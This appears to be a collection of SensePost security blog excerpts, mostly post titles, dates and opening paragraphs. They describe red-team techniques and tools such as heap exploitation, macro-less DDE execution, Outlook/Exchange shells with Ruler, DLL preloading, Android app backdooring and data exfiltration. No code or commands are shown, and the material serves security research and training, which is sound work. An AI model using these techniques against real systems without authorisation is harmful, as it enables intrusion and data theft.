Some of these shares allow one to access the complete storage device on remote systems. For example, C$ will allow one to access the C Drive. Another share, Admin$, allows one to access the Windows installation directory. To be able to mount these shares however, one needs to be an administrator on the remote system.

Cracking Efficiency Measurements & Common Substring Attack

Thu, 19 Apr 2018 11:31:04 +0000

This was an epic week for password cracking, we had lots of new hashes and lots of competition to see who could crack the most the fastest.

BLUF: I put together a cracking technique, and tested it against other techniques, generating some insight into the best performing cracking techniques. Rockyou with hob064 rules won, but my technique came a close second, and had a faster crack speed. Get the script here.

Linux Heap Exploitation Intro Series: Set you free() – part 1

Thu, 15 Mar 2018 09:20:10 +0000

Intro (part 1)

Hello and welcome to the final post of our Intro to exploitation series! We have learned the basics about how the memory management as per the ptmalloc2 allocator works. It was a basic but enough approach to have a good starting point. However, there are a few concepts and attack scenarios that, due to existing a lot of information about these, I have kept long distance from “unsafe unlink“, “malloc (des)malleficarum” and techniques alike. These weren’t either basic enough or outdated and wanted to learn and note down the most basic and known exploit primitives: Use-after-invalidation (incl. Use-after-free), overflows (incl. Off-by-one) and double-free.

tip toeing past android 7’s network security configuration

Mon, 12 Mar 2018 18:12:07 +0000

In late Jan, someone opened an Github issue in the objection repository about Android 7’s Network Security Configuration. The issue author included a blogpost from the NCC group about this very topic which included some very helpful bits of information (which you should totally read).

Naturally, I wanted to enhance objection to be able to get past this new security feature, so the testing began. I installed a Burp CA as one would normally do for assessments as well as a small test application with certificate pinning disabled and quickly realised that literally no network traffic was passing through. Inspecting the output of adb logat, one would see messages such as the following for our failed requests:

Fixing up Net-Creds

Tue, 20 Feb 2018 15:04:59 +0000

TL; DR: I fixed-up net-creds and MITMf to solve the CHALLENGE NOT FOUND bug.

A while back on an internal assessment, I was having a hard time getting a high-privileged user account.

This was the third assessment SensePost has done for the client, and they have implemented several of our recommendations. In particular, Responder wasn’t providing me with any hashes even though I was connected to the same network segment as several users, including some administrators. The client has a strict policy of only using the latest operating systems, i.e. Windows 10, and had disabled NBNS and LLMNR.

5 Min Security: Popular Phishing Techniques in 2017/2018

Thu, 25 Jan 2018 09:37:48 +0000

This article is for non-technical people who want to keep themselves and their companies safe from realistic threats. Short and sweet.

In 2017 we saw a number of phishing techniques used successfully. This was largely due to the release of a handful of highly effective methods which are still being used. In this article we’ll cover what these are.

Dynamic Data Exchange (DDE) Payloads – CVE-2017-0199 / CVE-2017-8759

A technique that results in remote access without the use of macros. DDE is a protocol in MS Office products which allows applications to share data between each other. Some functions provided by this protocol allow the execution of commands, which can be abused by attackers to download malware.

Linux Heap Exploitation Intro Series: Riding free on the heap – Double free attacks!

Fri, 22 Dec 2017 07:00:23 +0000

Intro

Hello again and welcome to the third of our series. On today’s blog post we are going to see what is and how can we abuse a double free(). We are also going to take advantage of leaks that happen when doing double free()‘s and see some examples of code execution using said leaks – we are making our execution ride on frees!

As a last note, we are going to step things up a notch in this blog post and we are going to be using gdb as it will be crucial from now on. Sadly, ascii art doesn’t cut it anymore.

building the bsidescpt17 rfchallenge

Wed, 13 Dec 2017 11:14:48 +0000

In this post I want to talk a little about the BSides Cape Town 17 RFCat challenge and how I went about trying to build a challenge for it. Unfortunately I was not able to able to attend the con itself, but still had the privilege to contribute in some way!

The first question you may have could be: “But why RFCat?”. Truthfully, some people that are way better at this hacking thing than me (and that were also primarily responsible for this years BSides badge hardware) came up with this idea: “Wouldn’t it be cool to have a cc1111 chip on the badges?”. The cc1111 chip is RFCat compatible, so naturally this would be the goto firmware to use for the chip. With this in mind, I got invited by @elasticninja to see if I would be interested in building an RFCat based challenge and without hesitation agreed! So there we were.

gowitness – a new tool for an old idea

Mon, 27 Nov 2017 10:45:00 +0000

On a recent assessment I had an incredibly large IP space that was in scope. Almost an entire /8 to be precise. While it is possible to scan ranges like that with things like masscan, nmap and the likes, I was interested in web interfaces for this particular client as I quickly came to realise that they had a large amount of third party web services exposed with default login credentials left unchanged. Nessus would tell me that “there is a web interface running there”, but I wanted more in terms of what is running.

A distinguisher for SHA256 using Bitcoin (mining faster along the way)

Mon, 16 Oct 2017 12:50:42 +0000

This post assumes a passing familiarity with what a Distinguishing Attack on a cryptographic hash is, as well as the high level composition of Bitcoin block headers and mining them.

tldr:
To distinguish between an ideal random permutation hash and SHA256, hash a large amount (~2^80) of candidate 1024 bit blocks twice, as done in Bitcoin. Ensure that the bits of the candidate blocks are sparsely set (much fewer than the 512 mean expected), according to the Bitcoin protocol, discarding candidate blocks that do not meet the Bitcoin “difficulty” standard (where the resultant hashes start with a the large number of 0’s). With the remaining set of valid input candidates (467369 when this analysis was done), observe a particular set of 32 bits in the input block (located where Bitcoin has the nonce, input bits 607-639). Note that the mean number of bits set in the nonce field is skewed to the left, i.e. fewer than the expected value of 16 bits set (estimated mean 15.428).

Outlook Home Page – Another Ruler Vector

Wed, 11 Oct 2017 07:34:14 +0000

Ruler has become a go to tool for us on external engagements, easily turning compromised mailbox credentials into shells. This has resulted in security being pushed forward and Microsoft responding with patches for the two vectors used in Ruler, namely rules and forms. These were patched with KB3191938 and KB4011091 respectively.

This puts us back into the cat and mouse game of attack versus defence, with attack needing to find a new vector. Turns out the rules of three holds true, and where two vulnerabilities lurk, a third surely exists.

Macro-less Code Exec in MSWord

Mon, 09 Oct 2017 14:02:13 +0000

Authors: Etienne Stalmans, Saif El-Sherei

What if we told you that there is a way to get command execution on MSWord without any Macros, or memory corruption?!

Windows provides several methods for transferring data between applications. One method is to use the Dynamic Data Exchange (DDE) protocol. The DDE protocol is a set of messages and guidelines. It sends messages between applications that share data and uses shared memory to exchange data between applications. Applications can use the DDE protocol for one-time data transfers and for continuous exchanges in which applications send updates to one another as new data becomes available.

Recreating certificates using Apostille

Fri, 06 Oct 2017 05:27:29 +0000

Sometimes on an engagement, you’d like to construct a believable certificate chain, that you have the matching private keys for. An example might be that a mobile app is doing cert pinning, based on attributes of the signing certificate, such as the Canonical Name (CN), serial number, or Issuer, or that you are intercepting an embedded app that only supports a particular algorithm. Whatever the reason, it’s a fairly complicated process if you are not familiar with X509 certificates. And trying to kludge it together with OpenSSL and some shell scripts under time constraints will only make you tear your hair out! While Metasploit can do some of this, it only clones a single certificate and self-signs it, rather than cloning the entire chain. If you need more than that, keep reading!

NotRuler – Turning Offence into Defence

Mon, 02 Oct 2017 08:26:00 +0000

We’ve spent a lot of time creating Ruler and turning it into, what we think, is a useful attack tool. The goal behind the project was to highlight the command execution potential around weak credentials when combined with Exchange and Microsoft Outlook. That goal has largely been met, with the ability to now demonstrate that compromising user credentials can be much more than “just” reading email. Microsoft has also been great in their response to the issue, with both client-side rules and forms having been effectively mitigated through patches to Outlook.

Linux Heap Exploitation Intro Series: The magicians cape – 1 Byte Overflow

Wed, 20 Sep 2017 13:27:18 +0000

Intro

Hello again! It’s been a while since the last blog post. This is due to not having as much time as we wanted but hopefully you all kept the pace with this heapy things as they are easy to forget due to the heavy amount of little details the heap involves.

On this post we are going to demonstrate how a single byte overflow, with a user controlled value, can cause chunks to disappear for the implementation like a magician puts a cape on top of objects (chunks) and makes them disappear.

DEEP INSERT – Card Skimmer Research

Wed, 02 Aug 2017 10:27:18 +0000

So I get a phone call from Daniel on a Wednesday night,

Stu, can you bring your hardware stuff with you tomorrow, I’ve been given a card skimmer that i want us to see what we can get from it.

So I get my bag ready with the hardware tools i have, RS232 to USB UART adapter, Saelea 8 Channel Logic Analyser, and numerous other components.

Thursday comes round and I’m eager to see what device Daniel has, he gives me it and says “gimme 10, then we will sit down and see what we can get”, I waited 1-second and tore into this thing!

Abusing GDI Objects for ring0 Primitives Revolution

Sat, 29 Jul 2017 14:41:50 +0000

Exploiting MS17-017 EoP Using Color Palettes

This post is an accompaniment to the Defcon 25 talk given by Saif. One of the core topics of the talk was the release of a new technique GDI object abuse technique, name Palette Objects. Saif presented a previously unreleased Windows 7 SP1 x86 exploit involving the abuse of a newly discovered GDI object abuse technique.

A complete white-paper on the topic was released and can be found here: Whitepaper

Linux Heap Exploitation Intro Series: Used and Abused – Use After Free

Fri, 28 Jul 2017 15:27:30 +0000

Intro

After analysing the implementation of ptmalloc2 which, is a must read if you don’t know anything about the linux userland heap, I decided that for the second part of it, I would approach it as in a series of blog posts. Why? You might ask. Well it is easy for someone to tackle a problem in bite sized “chunks”. Understanding the heaps can be difficult and each of the techniques to be described in this series takes a decent amount of time to learn, understand and practice. Also, it is easier to find 15 minutes in a day rather than a few hours in a day. Also – hack the system.

A new colour scheme

Fri, 28 Jul 2017 09:37:32 +0000

SensePost has been hacking for 17 years and the time has come for a branding change.

The change in logo is related to the acquisition of SensePost 3 years ago by SecureData Europe Ltd. Daily operations at SensePost have been, and continue to be, largely unaffected by the acquisition. The investment has let us do things we otherwise wouldn’t have been able to, such as significantly expanding our training portfolio, building a dedicated internal academy, giving us access to whole new markets, and expanding our managed services capability. It shows too, our growth, results, research, and quality of work have never been better.

objection – mobile runtime exploration

Tue, 11 Jul 2017 12:39:55 +0000

introduction

In this post, I want to introduce you to a toolkit that I have been working on, called objection. The name being a play on the words “object” and “injection”. objection is a runtime exploration toolkit powered by Frida, aimed at mobile platforms. iOS only for now, objection aims to allow you to perform various security related tasks on unencrypted iOS applications, at runtime, on non-jailbroken iOS devices. Features include inspecting the application specific keychain, as well as inspecting various artifacts left on disk during (or after) execution.

SensePost at BlackHat & Defcon 2017

Mon, 26 Jun 2017 11:05:08 +0000

July is our favourite time of year, when thousands descend into Las Vegas for Blackhat/Defcon, or more commonly referred to as ‘Hacker Summer Camp’. This year, our camp councillors have been working hard to bring you all our latest creations.

BlackHat Training

We’re running our usual training at BlackHat, and as usual have been working hard to build new courses and update others. Here’s a list:

We’re pretty excited about the new SecDevOps course, which reflects what we’ve learned about transitioning old-style project pentesting into an agile world.

Fuzzing Apache httpd server with American Fuzzy Lop + persistent mode

Tue, 20 Jun 2017 12:41:36 +0000

Intro

Recently, I reported CVE-2017-7668 (Apache Server buffer-over-read). This is a cross-post from my personal blog where I explain how to fuzz network programs with AFL by porting techniques learned in honggfuzz into AFL. After a small chat with Dominic he asked me to re-post it here which, for me it’s an honour to do so!

The reported CVE was obtained with code analysis and instrumentation of the right parts of the code (mainly core and parsing) – First, with honggfuzz I got the initial dirty test cases and then, through radamsa generated a few thousands mutations and finally AFL with the technique described here.

Linux Heap Exploitation Intro Series – (BONUS) printf might be leaking!

Mon, 19 Jun 2017 13:14:59 +0000

Intro

Hi there (again)! This series are going to an end as the next and feasible step is the widely known buffer overflow and its analysis in the heap and, I am not too convinced about it since the unsafe unlink method is long gone. But don’t be sad, today we are going for a bonus one! During the last post (double free attacks) one I stumbled across some weird behaviour that caught my attention by functions of the vfprintf.c family (for example printf or puts functions).

Pentesting Enterprise Infrastructure – Journeyman Level

Wed, 14 Jun 2017 14:56:24 +0000

Sophisticated attacks aim to hide from endpoint solutions
Advanced hacking.
Expert approaches

We are inundated by advanced this, expert that, when it comes to hacking and hacking training. When a breach occurs, the media portray it as some epic hack that mere mortals would struggle to comprehend, when in reality it’s actually a run of the mill SQLi attack. Often it’s not advanced, but makes use of a series of vulnerabilities chained together, using Tactics, Techniques and Procedures (TTP) often used by attackers when owning networks.

Womens Training Scholarship

Thu, 25 May 2017 06:06:51 +0000

SensePost and BlackHat are proud to announce a new scholarship initiative for a woman in the information security field. The scholarship will include a ticket to Black Hat USA 2017 in Las Vegas, complimentary access to one of our training courses, airfare, and accommodation.
The scholarship will be awarded to a woman who demonstrates a strong desire to hone her InfoSec skills (more below).

How To Enter?
To enter, send us reasons as to why you believe *you* should attend one of our training courses and Blackhat USA. This could be in the form of an essay, examples of projects you are working on, stuff you’ve built or building or generally anything you think supports your claim for a place.

Sending AM-OOK using Metasploit and rftransceiver

Fri, 12 May 2017 06:38:59 +0000

Introduction

Towards the end of last year, I found myself playing around with some basic amplitude modulation (AM)/On-off keying (OOK) software defined radio. That resulted in ooktools being built to help with making some of that work easier and to help me learn. A little while ago, the Metasploit project announced new ‘rftransceiver’ capabilities that were added to the framework with a similar goal of making this research easier.

How things fit together

First things first. I had to try and understand how this new functionality actually works. From the Metasploit blog post, it was possible to see that the additions allowed you to communicate with a RFCat capable device from Metasploit and run modules over a session. A session is started by connecting to a small JSON API (with a python helper) that bridges HTTP requests to rflib methods.

Painless intro to the Linux userland heap

Fri, 05 May 2017 08:47:37 +0000

-1 – Pre-Intro

When looking at heap exploit tutorials most of the time I found myself lacking knowledge on the actual implementation and, soon, had the urge of knowing how it’s allocated and freed and why it’s done that way, memory wise.

-0.9 – ptmalloc2

The best source of knowledge with regards to the implementation of the heap is itself, the source code. Do not fear it, thankfully it is widely commented!

Outlook Forms and Shells

Fri, 28 Apr 2017 15:18:09 +0000

Using MS Exchange and Outlook to get a foothold in an organisation, or to maintain persistence, has been a go to attack method for RedTeams lately. This attack has typically relied on using Outlook Rules to trigger the shell execution. Although Ruler makes accomplishing this really easy, it has, up until now, required a WebDAV server to host our shell/application. In most cases this is not an issue, but once in a while you run into a restrictive network that does not allow the initial WebDAV connection to be established. In such instances, the attack sadly fails. Another downside to Outlook rules is that we are limited to only providing an application path, and no command-line arguments, meaning none of our fancy Powershell one-liners can be used.

The TRITON Won’t Protect You From Our Punches

Thu, 06 Apr 2017 08:58:16 +0000

Whilst on a Red Team assessment back in 2015, we were faced with a tough Data Leak Protection (DLP) and web content management gateway system called Forcepoint TRITON. One of the goals, besides gaining full access to the client, was to see if sensitive data could be exfiltrated from the internal network to attacker controlled servers. The first logical step was to analyse how this device functioned and identify any flaws.

Liniaal – Empire through Exchange

Wed, 22 Mar 2017 09:47:30 +0000

Getting access to an internal network is always great, keeping this access can be a whole other challenge. At times we want to fly below the radar and ensure our access doesn’t get detected or blocked by traditional network based solutions. To this end, communicating directly through an Exchange server can be very beneficial and solve both challenges.

Technical details

Ruler provides us with a means of getting a shell on an internal network. This is all done through Exchange and ensures our “trigger” for getting a shell back is usually only an email away. To a large degree this gives us the desired persistence we may want, however, we are still dependent on our traditional communication channels, be it DNS, HTTP(s) or TCP. This means our tools can need to traverse the traditional network boundary, aka, the web-gateway. Defenders place all their in-line defences here and should be able to detect and block our traffic. Exchange usually falls outside of this monitoring, as it should only be sending and receiving email. Sure there can be DLP and in-line scanning for malicious mail attachments, but this is usually aimed at the actual email messages. Do you have or have you seen in-line inspection of the Exchange/Outlook transport? Not the IMAP/SMTP traffic, the MAPI/HTTP or the RPC/HTTP channel that external Outlook clients use to communicate with the Exchange server. In my experience, the answer is usually no, there is no inspection of these transports.

USaBUSe Linux updates

Fri, 10 Mar 2017 20:07:26 +0000

(If you’re new to this project, read the intro first)

For the past few months, I’ve been working on porting the USaBUSe stack from the custom hardware (AVR+ESP8266) to the Linux USB gadget stack. I wanted to make the techniques more accessible to people unfamiliar with embedded development, and I also wanted to take advantage of the variety of possibilities inherent in having a fully featured Linux environment to work in. I presented this work at HackCon in Norway.

Pass the Hash with Ruler

Tue, 17 Jan 2017 08:51:08 +0000

Ruler at Troopers17

We are taking Ruler and the abuse of Exchange on a road trip to Germany in March. Troopers have accepted our talk, “Ruler – Pivoting through Exchange” and we are looking forward to sharing the exciting extras that we’ve been building into Ruler, along with some secrets for using Exchange in your recon, exploitation and post-exploitation phases.

https://www.troopers.de/events/troopers17/779_ruler_-_pivoting_through_exchange/

Passing the Hash

A while back I was asked (I think by @singe, but there were others as well) if it was possible to do Pass the Hash (PtH) with Ruler.

Exploiting MS16-098 RGNOBJ Integer Overflow on Windows 8.1 x64 bit by abusing GDI objects

Tue, 03 Jan 2017 12:55:58 +0000

Starting from the beginning with no experience whatsoever in kernel land let alone exploiting it, I was always intrigued and fascinated by reverse engineering and exploit development.

The idea was simple: find a 1-day patch with an exploitable bug but with no proof of concept exploit currently available, in order to start my reverse engineering and exploit dev journey with.Now the bug discussed here was not my initial choice: I failed at that one. It is actually my second choice and it took almost 4 months to fully understand the exploit and everything related to it.

XRDP: Exploiting Unauthenticated X Windows Sessions

Thu, 08 Dec 2016 13:21:31 +0000

In this blog post we are going to describe some tools we created to find and exploit unauthenticated X Windows sessions. We recently presented these at BSides Cape Town.

What is X11?

X also known as the X Window System is currently in its 11th version, hence the name X11. X is a basic windowing system which provides a framework for drawing and moving windows on a display device as well as interaction with a mouse and keyboard. X uses a client-server model, with the server being the computer running in front of a human user and the X client applications running anywhere on the network. This contradicts the normal view of a client-server model, where the server is running at a remote location and the client is running in front of the user. In short, X plays a central role in displaying graphical windows on a users terminal. The major use of X is for administering remote machines graphically (similar to a remote desktop session), however X only displays one window at a time. An example being an xterm (terminal) window.

BSides Cape Town Secret Squirrel Challenge Write-Up

Tue, 06 Dec 2016 10:54:59 +0000

Last weekend was the BSides Cape Town conference, currently ZA’s only hacker con. It’s a cool little con with big dreams that get a little closer each time. This year was a lot a fun and well put together, congrats to all of the speakers organisers and volunteers.

SP gave some talks; Charl spoke about where we’re headed in a talk entitled Love Triangles in CyberSpace; a tale about trust in 5 chapters. Chris discussed his DLL preloading work and released his toolset. Finally, Darryn & Thomas spoke about exploiting unauth’ed X sessions and released their tool XRDP, it was also their first con talk ever.

Rattler:Identifying and Exploiting DLL Preloading Vulnerabilities

Thu, 01 Dec 2016 14:18:33 +0000

In this blog post I am going to describe a new tool (Rattler) that I have been working on and discuss some of the interesting anomalies found while building it. Rattler can be found on our Github repo and was recently discussed at BSides Cape Town.

What is Rattler?

Rattler helps identify which application DLL’s are vulnerable to DLL preloading attacks. In a nutshell, DLL preloading attacks allow you to trick applications into loading and executing malicious DLL’s. DLL preloading attacks can result in escalation of privileges, persistence and RCE in some cases. While preloading attacks are nothing new, there were some interesting results found. For more information on DLL security, I found this link to be helpful.

Intercepting passwords with Empire and winning!

Fri, 18 Nov 2016 08:50:59 +0000

This is my password,” said the King as he drew his sword. “The light is dawning, the lie broken. Now guard thee, miscreant, for I am Tirian of Narnia.
C.S. Lewis

tl;dr You are part of the red team who’s just compromised the entire AD infrastructure. The blue team quickly changes the password, which is always recommended, but is this effective in preventing the red team from still inflicting damage?

Kwetza: Infecting Android Applications

Mon, 03 Oct 2016 07:47:46 +0000

This blog post describes a method for backdooring Android executables. After describing the manual step, I will show how to do the same with a new tool, Kwetza, that I’m releasing today.

Infecting Android applications provides a great way to determine the impact and affect of the malicious activities we see in the wild, from ransomware to practical jokes. This not only provides you with an entry point onto user devices, but also allows you to see how devices, users and anti-virus behave in these situations.

Snoopy with Mana

Wed, 14 Sep 2016 10:11:27 +0000

In 2011 Glenn and Daniel released Snoopy, a set of tools for tracking and visualising wireless client activity. However, the Snoopy project is no longer maintained. This blog entry is about how I got Snoopy-like functionality built into Mana.

Snoopy’s core functionality was to observe probe requests for remembered networks from wireless clients, although it ended up doing much more.

The problem tools like Snoopy face, is that they can’t monitor the whole 2.4Ghz wireless spectrum for probe requests, without the use of multiple wireless cards. So they channel hop to make sure they see probes on multiple channels. In the 2.4Ghz range this wasn’t terrible, because the channels overlap, which means you didn’t have to tune in to all 11 or 14 (depending on location) channels individually to see probes across the spectrum. So while you may have missed a few probe requests, you didn’ t miss many.

What to look for in a training provider

Mon, 05 Sep 2016 12:53:58 +0000

In the last few years, the infosec training scene has exploded. Arguably, the largest training provider is Blackhat, and in the last 15 years we’ve seen it grow from a handful of courses to 106 at the last BlackHat USA. With many courses purportedly offering the same or similar content, it’s getting harder to choose as a student.

This blog entry will cover some of the stuff we think makes our courses pretty great, and why we’re so proud of them. It may also help you to evaluate whether our courses are what you’re looking for at at least how to spot the better courses (not just ours) in a list of 100+.
The Basics
It’s our belief that if you have a deep passion for the work you do, then not only will you work hard to be great at it, you’ll also enjoy sharing that passion by teaching others. It’s held true for us for many years, and we make a point of putting our best analysts, rather than specialised trainers, to run our courses.

MAPI over HTTP and Mailrule Pwnage

Thu, 01 Sep 2016 08:30:22 +0000

History

In December 2015 Silent Break Security wrote about “Malicious Outlook Rules” and using these to get a remote shell. This was great, we could now use those credentials found through brute-forcing OWA instances or a phishing page. The only issue I had with this was the fact that you needed to setup a local instance of the mailbox, which at times could be time consuming and also felt like overkill.

Universal Serial aBUSe

Mon, 15 Aug 2016 15:02:29 +0000

Last Saturday, at Defcon 24, we gave a talk entitled “Universal Serial aBUSe: Remote Physical Access Attacks” about some research we had performed into USB attacks. The talk was part of a research theme we’ve been pursuing related to hardware bypasses of software security. We decided to look into these sorts of attacks after noting their use in real world attacks. For example, you have “Apex predators” such as the NSA’s extensive use of sophisticated hardware implants, most notably for this work, the COTTONMOUTH devices. On the other end of the scale, we noticed real world criminals in the UK and ZA making use of unsophisticated hardware devices, such as hardware keyloggers, drive imagers and physical VPN devices and successfully making off with millions. This led us to hypothesise that there’s probably a large series of possible attacks in between these two extremes. We also noted that there’s not many decent defences against these sorts of attacks, it’s 2016, and the only decent defence against decent hardware keyloggers is still to “manually inspect all USB ports” (assuming this stuff is even visible).

SensePost at Blackhat & Defcon 2016

Tue, 21 Jun 2016 14:24:30 +0000

The annual Hacker Summer Camp is nearly upon us, everyone at SensePost is getting ready. This is a brief overview of what we’ll be doing. The tl;dr is: BlackHat Training, BlackHat Arsenal x2, Defcon talk & Stickers :)

BlackHat Training

We’re back at BlackHat for our 15th year of training with a selection of courses ranging from introductory courses for beginners through to hardcore courses for experts.

Basic Tools & Techniques for Hackers – Beginner Level
Mobile Application Bootcamp – Journeyman Level
Web Application Bootcamp – Journeyman Level
Black Ops Hacking for Pentesters – Master Level
Threat Intelligence using Maltego This one isn’t ours, but our good friends and business partners, Paterva :)

BlackHat Arsenal

We were fortunate enough to have two tools accepted for BlackHat Arsenal this year. We think building open source tools for the hacker community is an important part of how we roll, and we appreciate ToolsWatch and the NETpeas crews efforts with arsenal.

PwnBank en route to Vegas

Mon, 20 Jun 2016 16:17:29 +0000

Everyone has a mobile phone (ok some have two) and the wealth of information people put into them is staggering. This single platform gives attackers an incredibly large attack surface area to target, so it’s no surprise we *love* owning mobile devices.

With this in mind, the countdown to Blackhat USA has begun and we will be launching our latest iteration of the Mobile hacking course to the eager and thirsty minds that find themselves at the sensory circus that is Las Vegas!

PowerShell, C-Sharp and DDE The Power Within

Fri, 20 May 2016 13:27:49 +0000

aka Exploiting MS16-032 via Excel DDE without macros. The modified exploit script and video are at the end.

A while ago this cool PowerShell exploit for MS16-032 was released by FuzzySecurity. The vulnerability exploited was in the secondary login function, which had a race condition for a leaked elevated thread handle, we wont go into much details about the vulnerability here though. It is a really awesome vulnerability if you want to read more details about it, I suggest you read James Forshaw’s blog post at Project Zero.

Handling Randomised MAC Addresses in MANA

Fri, 20 May 2016 08:44:48 +0000

mana development has been chugging along nicely. However, the OffSec crew politely asked us to move mana to proper releases a while back, which we’ve just done. This is about one of the many changes pushed in our first new set of releases since October 2014; 1.3.1-Fixy McFixface. There’s a longer summary of what’s new available at the previous release page 1.3-WPE & ACLs with the WPE functionality extensions from and inspired by Brad Antoniewicz’s work being the coolest from a pwnage perspective.

Where SensePost meets the real world

Mon, 09 May 2016 11:49:50 +0000

SensePost Training at Blackhat USA

What is SensePost infrastructure training about and what does it give you as a novice pentester? What does it give you as a pentester looking to move into infrastructure hacking? Training at SensePost focuses on learning the Trade and not just the trick, thus our focus is on your testing methodology rather than simply showing you some cool tools. And what is this methodology you may ask, well it is one that aims to emulate real-world scenarios and push you into doing the attacks that are actively happening.

Not-quite-triangulation using the who’s near me feature in location-aware web apps

Sun, 27 Mar 2016 11:47:12 +0000

When assessing web applications, we typically look for vulnerabilities such as SQLi and XSS, which are generally a result of poor input validation. However, logical input validation is just as important, and you can get tons of interesting info if it’s not done properly.

Take the plethora of mobile apps that let you find people that are using the same app nearby. Logical validation on the coordinates you send should check that

Too Easy – Adding Root CA’s to iOS Devices

Wed, 23 Mar 2016 15:52:28 +0000

With the recent buzz around the iMessage crypto bug from the John’s Hopkins team, several people pointed out that you would need a root CA to make it work. While getting access to the private key for a global root CA is probably hard, getting a device to trust a malicious root CA is sometimes phrased as difficult to do, but really isn’t. (There’s a brief technical note about this in the caveats section at the end.)

DET – (extensible) Data Exfiltration Toolkit

Sat, 19 Mar 2016 09:59:53 +0000

Often gaining access to a network is just the first step for a targeted attacker. Once inside, the goal is to go after sensitive information and exfiltrate it to servers under their control.

To prevent this from occuring, a whole industry has popped up with the aim of stopping exfiltration attacks. However, often these are expensive and rarely work as expected. With this in mind, I created the Data Exfiltration Toolkit (DET) to help both penetration testers testing deployed security devices and those admins who’ve installed and configured them, to ensure they are working as expected and detecting when sensitive data is leaving the network.

Advanced Cycript and Substrate

Fri, 18 Mar 2016 07:01:49 +0000

Mobile assessments are always fun as the environment is constantly evolving. A recent trend has been the use of custom protocols for communication between the application and server. This holds particularly true for financial institutes who are aiming to protect both the confidentiality and integrity of data. Most of these custom protocols are over TCP, wrap data in custom crypto, which usually includes signing of the payload to prevent tampering. Even when transmitted over HTTPS, we have noticed a trend where data within the HTTP body gets encrypted and signed using some custom crypto. Both of these processes can greatly frustrate testers using standard network intercepting tools.

Android hooking with Introspy

Thu, 10 Mar 2016 12:32:07 +0000

Here’s my first blog where I’ll try to write up how I’ve managed to set up the Introspy framework for the Android emulator.

First things first, if you haven’t downloaded the Android SDK do it now from here.

I am on Ubuntu 14.04 x64 machine but hopefully you will be able to follow this guide as long as you are on a modern linux system.

Sidenote: Since you are gonna run many commands on the emulator I highly recommend that you open a new shell during this proccess (adb shell) and run the logcat command. That way you can see all the debug messages and if something fails, play around and see how can you solve it.

Understanding Locky

Fri, 19 Feb 2016 18:58:46 +0000

A few days ago I was asked to have a look at the newly emerged crypto-ransomware threat “Locky” which utilises Dridex-like Command and Control (C&C) communications techniques. For some background reading, I recommend you read the following:

http://sensorstechforum.com/aes-128-encryption-employed-by-locky-ransomware/
https://nakedsecurity.sophos.com/2016/02/17/locky-ransomware-what-you-need-to-know/)
http://www.theinquirer.net/inquirer/news/2447460/dridex-style-locky-ransomware-is-infecting-machines-via-microsoft-word

It looks like a new (FEB2016) addition to the crypto-ransomware family :

1. Dirty Decrypt
2. CryptoLocker
3. CryptoWall / Cryptodefense
4. Critroni / CTB Locker
5. TorrentLocker
6. Cryptographic Locker
7. TeslaLocker
8. Locky

Bringing the hashes home with reGeorg & Empire

Thu, 11 Feb 2016 10:51:33 +0000

Is not a hack until you are 3 tunnels deep – Ian de Villiers

External assessments. It’s about not only finding flaws but also looking at ways you can chain lower and medium-level vulnerabilities together, to be utterly devastating and gain full access.

After situational awareness phase, pulling in all of my reconnaisance scans and input, I was left with typical results one might expect: missing patches here, little misconfiguration there, the typical…

Sensepost Maltego Toolkit: Skyper

Mon, 11 Jan 2016 14:47:48 +0000

Collecting and performing Open Source Intelligence (OSINT) campaigns from a wide array of public sources means ensuring your sources contain the most up to date information relating to your target. Skype, with over 300 million users, can be a vital source if used correctly.

The above graphic shows over 70 million active members and over 500 million users that have registered!.

As with all things online, many users leak sensitive information about themselves that those with the right skills, could harvest.

(local) AutoResponder

Fri, 11 Dec 2015 09:55:48 +0000

When doing internals, usually an easy first step is to use Responder and wait to retrieve NTLM hashes, cracking them and hoping for a weak password.

The problem is that sometimes fancy cracking rigs might not be available, it might be a mess to copy/paste all those hashes, send them, wait for an answer where you could already do some work locally, without any effort. We’re all lazy, and I’m even more lazy. That’s why I decided doing this project.

AutoDane at BSides Cape Town

Mon, 07 Dec 2015 13:43:27 +0000

Given the prevalence of Microsoft Active Directory domains as the primary means of managing large corporate networks both globally and in South Africa specifically; one of the common first goals of many internal penetration tests is to get Domain Administrator (DA) level access. To assist with this, a plethora of tools and techniques exist, from the initial “in” through to elevation of privilege and eventually extracting and cracking all domain credentials.

Into The Cloud

Wed, 25 Nov 2015 08:59:09 +0000

SensePost Training in the Cloud

Picture this. Every year, a group of Plakkers (our nickname for those who work at SensePost) descended into Las Vegas with more luggage than Imelda Marcos on a shoe shopping spree. In recent years, our kit list was immense. 200+ laptops, 25 servers, screens, switches and more backup disks than one should ever carry past TSA. Often we got there days before Blackhat started and spent 24 hours making sure our networks and servers started (inevitably they never did, which meant late nights debugging).

Wadi Fuzzer

Fri, 23 Oct 2015 07:10:40 +0000

“Operating system facilities, such as the kernel and utility programs, are typically assumed to be reliable. In our recent experiments, we have been able to crash 25-33% of the utility programs on any version of UNIX that was tested.” [1]

Those were the original words in one of the first fuzzing studies where Prof. Barton Miller was first to use the term ‘fuzzing’

One can see the importance of fuzzing as one of the techniques used to test software security against malformed input leading to crashes and in some cases exploitable bugs.

Abusing File Converters

Thu, 01 Oct 2015 11:26:46 +0000

Every now and then you run into a new file format and you find that you may not have a tool to parse that file. Or you are looking for an easy to use solution for you mom to access the photo’s you sent her in a .tar archive. This is where file conversion services come in, a quick Google for “online file converter” will yield multiple results. One thing to keep in mind when converting files, is that different file formats may support different features.

Hi Jack!

Tue, 08 Sep 2015 08:15:11 +0000

No, this post is not about a Leon Schuster comedic skit from the early 90’s, YouTube reference here -> https://www.youtube.com/watch?v=JzoUBvdEk1k

To the point, once upon a time there was a tool called Jack which attempted to make ClickJacking PoC’ing a tad sexier and made it’s way to Black Hat EU 2015 Arsenal.

Some time has passed now since Jack was first released and was time for Jack to get some attention alas a new version of Jack has been released and can be found here, https://github.com/sensepost/jack .

[Another] Intercepting Proxy

Thu, 03 Sep 2015 15:14:32 +0000

But, Websockets!

The last week I was stuck on a web-app assessment where everything was new-age HTML5, with AngularJS and websockets. Apart from the login sequence, all communication happened through websockets. Now intercepting websockets can be done in Burp and you can modify the requests/responses as you wish. There were however multiple issues with this.

Polling – the webapp did a ‘ping’ request and if this was held up (intercept in burp) the app would timeout and I had to start from scratch. This timeout period was relatively aggressive, so by the time I finished modifying a request, the app had timed out and my changes meant squat.
